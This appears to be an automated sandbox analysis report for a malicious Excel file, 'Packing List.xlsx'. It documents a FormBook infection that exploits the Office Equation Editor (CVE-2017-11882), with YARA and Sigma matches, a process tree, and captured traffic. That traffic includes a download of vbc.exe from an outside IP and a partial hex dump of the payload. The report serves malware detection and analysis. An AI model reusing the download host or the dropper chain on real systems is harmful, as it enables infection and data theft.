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Windows Analysis Report Packing List.xlsx

Overview

General Information

Sample Name:	Packing List.xlsx
Analysis ID:	510251
MD5:	74c72f37e68bc3a8071467dd12bfaa7f
SHA1:	5dd9599fde86870f52169a85cfb76020f504e43c
SHA256:	de736eaf65c73f1aef5b09aa639d82e44129ac1300fd5411cab342e9e33faf7c
Tags:	VelvetSweatshopxlsx
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: File Dropped By EQNEDT32EXE

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Injects a PE file into a foreign processes

Sigma detected: Execution from Suspicious Folder

Office equation editor drops PE file

Machine Learning detection for dropped file

Drops PE files to the user root directory

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Downloads executable code via HTTP

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Checks if the current process is being debugged

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1292 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 1532 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 1836 cmdline: 'C:\Users\Public\vbc.exe' MD5: DF330AB2A2E5AA4AC947315EE3F93992)

vbc.exe (PID: 2228 cmdline: 'C:\Users\Public\vbc.exe' MD5: DF330AB2A2E5AA4AC947315EE3F93992)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000000.476970202.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.476210300.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.475402924.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.482711816.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x27408:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x27792:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xa6a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xa191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xa7a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xa91f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x281aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x940c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x28f22:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xfb77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x10c1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xcaa9:$sqlite3step: 68 34 1C 7B E1 0xcbbc:$sqlite3step: 68 34 1C 7B E1 0xcad8:$sqlite3text: 68 38 2A 90 C5 0xcbfd:$sqlite3text: 68 38 2A 90 C5 0xcaeb:$sqlite3blob: 68 53 D8 7F 8C 0xcc13:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.479470505.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.480530429.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000005.00000002.488911564.00000000030B0000.00000004.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.484429588.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.486527655.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.478490697.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
00000006.00000000.474755506.00000000001C0000.00000040.00000001.sdmp	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.vbc.exe.1c0000.9.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.11.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.13.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.15.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.7.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.23.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.17.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.21.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.13.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.25.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.2.vbc.exe.1c0000.0.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.5.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.21.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.23.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.17.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.11.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.25.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.19.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.15.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.19.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
5.2.vbc.exe.30b0000.5.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
5.2.vbc.exe.30b0000.5.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x4930:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x269e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0xc60:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.7.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
6.0.vbc.exe.1c0000.9.raw.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0x6130:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x2460:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
Click to see the 19 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 192.227.228.38, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1532, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49167

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1532, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1532, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 1836

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Packing List.xlsx	Virustotal: Detection: 32%			Perma Link
Source: Packing List.xlsx	ReversingLabs: Detection: 29%

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Joe Sandbox ML: detected

Source: 6.0.vbc.exe.1c0000.13.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.15.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.7.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.9.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.21.unpack	Avira: Label: W32/Delf.I
Source: 6.2.vbc.exe.1c0000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 6.0.vbc.exe.1c0000.5.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.23.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.17.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.11.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.25.unpack	Avira: Label: W32/Delf.I
Source: 6.0.vbc.exe.1c0000.19.unpack	Avira: Label: W32/Delf.I
Source: 5.2.vbc.exe.30b0000.5.unpack	Avira: Label: W32/Delf.I

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Binary string: wntdll.pdb source: vbc.exe, 00000005.00000003.474355640.000000000F300000.00000004.00000001.sdmp

Source: C:\Users\Public\vbc.exe	Code function: 5_2_00405E93 FindFirstFileA,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402671 FindFirstFileA,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_00402671 FindFirstFileA,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_00405E93 FindFirstFileA,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.227.228.38:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.227.228.38:80

Source: excel.exe

Memory has grown: Private usage: 4MB later: 47MB

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Oct 2021 11:38:05 GMTServer: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11Last-Modified: Wed, 27 Oct 2021 06:07:30 GMTETag: "39809-5cf4f68c9b908"Accept-Ranges: bytesContent-Length: 235529Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 30 28 81 e9 51 46 d2 e9 51 46 d2 e9 51 46 d2 2a 5e 19 d2 eb 51 46 d2 e9 51 47 d2 71 51 46 d2 2a 5e 1b d2 e6 51 46 d2 bd 72 76 d2 e3 51 46 d2 2e 57 40 d2 e8 51 46 d2 52 69 63 68 e9 51 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 65 3a ff 56 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d6 01 00 00 04 00 00 fb 30 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 e0 02 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 74 00 00 a0 00 00 00 00 d0 02 00 e0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 eb 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 96 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 b0 01 00 00 90 00 00 00 06 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 09 00 00 00 d0 02 00 00 0a 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /0078/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.228.38Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
